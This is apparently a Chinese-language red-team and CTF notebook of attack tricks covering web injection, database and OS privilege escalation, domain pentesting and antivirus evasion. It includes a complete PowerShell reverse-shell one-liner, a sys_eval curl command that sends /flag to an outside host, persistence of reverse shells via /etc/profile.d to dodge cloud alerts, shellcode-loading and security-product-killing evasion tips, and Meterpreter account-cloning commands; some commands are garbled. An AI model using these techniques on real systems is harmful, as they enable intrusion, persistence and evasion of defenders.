收集看过的文章或者小trick,持续更新
web安全
- eval("#".$cmd)除了可以用%0a换行绕过外,还可以用%0d,\r
- flask debug重载覆盖main.py
- 注入 pow溢出
- qunie注入,procedure analyse注入
- JRMPListener测试shiro
- DirectoryIterator突破open_basedir
- sql注入if语句执行xp_cmdshell
- python os.path.join()获取到的路径如果以/开头,无视前面的路径以参数开始向后拼接(rctf2022 filechecker)
- flask堆栈读取secret_key (catctf2022 Cat cat)
- 测试waf的时候fuzz一下ascii
- IIS支持后缀ashx
- 前端代码可能存在与数据库表名相同的字段,关注input里的id='xxx'
- phpstudy特征:http响应体类似:Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
- php中mail函数创造后门利用
- ASP.NET aspx失败后可尝试asmx
- 一些h5站点登录都无需验证码,目录扫描时可以xxx.com/h5-FUZZ
- 路径穿越或文件读取时在路径结尾加#可能绕过防火墙
- spring-boot下载war包添加马需要重启war包
定时任务执行kill杀死当前进程 pkill -f ***.war java -Dfile.encoding=utf-8 -jar ***.war --spring.config.location=application.properties
数据库
mysql
mssql提权
- xp_cmdshell,sp_oacreate,沙盒,CLR,xp_regwrite,SQL Server代理,R和python,差异备份
- mssql绕过360上线
- xp_cmdshell可尝试结合powershell下载文件执行命令,但是要注意转义
UDF提权
- 直接读flag
SELECT sys_eval('curl http://xx.xx.xx.xx:xxxx -d @/flag)'
waf
操作系统
windows
- 存在目录别名,例如:PROGRA~2\WINDOW~2\ACCESS~1指代C:\Program Files (x86)\Windows NT\Accessories\
- 远程连接时,为了使本地的程序或文件拷贝到远程的主机上,应在本地资源中勾选上驱动器
linux
- 利用find特权命令执行命令时不需用引号包裹命令,
find
which find-exec ls / \;
- $@可以绕关键词,例如ca$@t
- /etc/ld.so.preload劫持命令执行 (RCTF filechecker)
- 脏牛提权后防止web服务器死机
echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
渗透测试
- 安全狗白名单访问控制导致远程登陆失败
- 攻击机与域控时间不同步导致krb_ap_err_skew(clock skew too great)
- SweetPotato源码中的默认路径可能与环境不符,要重新修改后再编译
- 非msf模块打MS17-010
- 注入票据后IPC连接后dir目标可能出现IP不通,域内主机名通的情况
- 注册表开启端口之后nmap还无法探测到可能是开了防火墙,尝试netsh关闭防火墙
- 目标限制端口出网可将frp配置转发端口设置为web服务使用的端口
- 往windows事件日志中隐藏shellcode
- 用户在线RDP劫持
tscon ID
- linux中将反弹命令写入/etc/profile.d下的一个.sh文件中,再一次连接bash窗口会自动运行该文件(疑似可绕过阿里云报警)
- cs上线目标3389远程连接时遇到360拦截或者没有抓取到密码权限不够可以通过上传todesk等远控软件通过静默安装之后读取配置文件来远程连接
可用CVE
ICMP RCE
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.232.128',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
win server 2012 R2
- 提权:CVE-2020-0787 exe执行后新打开system权限cmd
- 提权:ms16_075 juicy 烂土豆 可不免杀 cs中execute-assembly内存加载
linux
CVE-2022-2639-PipeVersion: core-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch
应急响应
- 黄金票据日志分析
- powershell历史:C:\Users\{user}\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
- 用ProcessExplorer可以看到内存中一些字符串判断程序是否恶意
免杀
- 木马文件执行时提示缺少某个dll文件导致本地测试上线远程不通过
- 绕过PowerShell 执行策略的15种方法
- 自改简单C2绕免杀
- go去除编译痕迹
gobuild-ldflags="-w -s -H windowsgui"-xx.exe
- 传个过宝塔函数的免杀马+python反弹shell可以避免阿里云报警成功无痕迹getshell(未试验)
- 不使用CreateThread的方式执行shellcode,使用Crypt32.dll中的CertEnumSystemStore,降低杀软查杀样本的可能性
- 开启guest导出adminstrator的注册表值再还原将值改成Guest过安全狗登录
- pyminify缩小python代码
- python代码混淆:https://pyob.oxyry.com/
- 绕过杀软拦截添加用户:Useradd.exe、Create-Clone.ps1
meterpreter > use powershell meterpreter > powershell_import "/var/www/html/Create-Clone.ps1" meterpreter > powershell_shell PS > Create-Clone -u betasec -p 3had0w!@#123
- 尝试用泄露的驱动kill掉360
信息搜集
- Angler EK adR2b4nh cve
- UAC白名单程序扫描:
strings.exe /accepteula -s C:\windows\System32\*.exe | findstr /i "autoElevate"
工具
- nmap搜集exchange服务器信息 -script http-ntlm-info --script-args http-ntlm-info.root=/rpc/rpcproxy.dll
- 白名单代理工具以及nps去特征
- 蚁剑免杀改造
- 分段和不分段两种payload模式的区别
- 冰蝎分析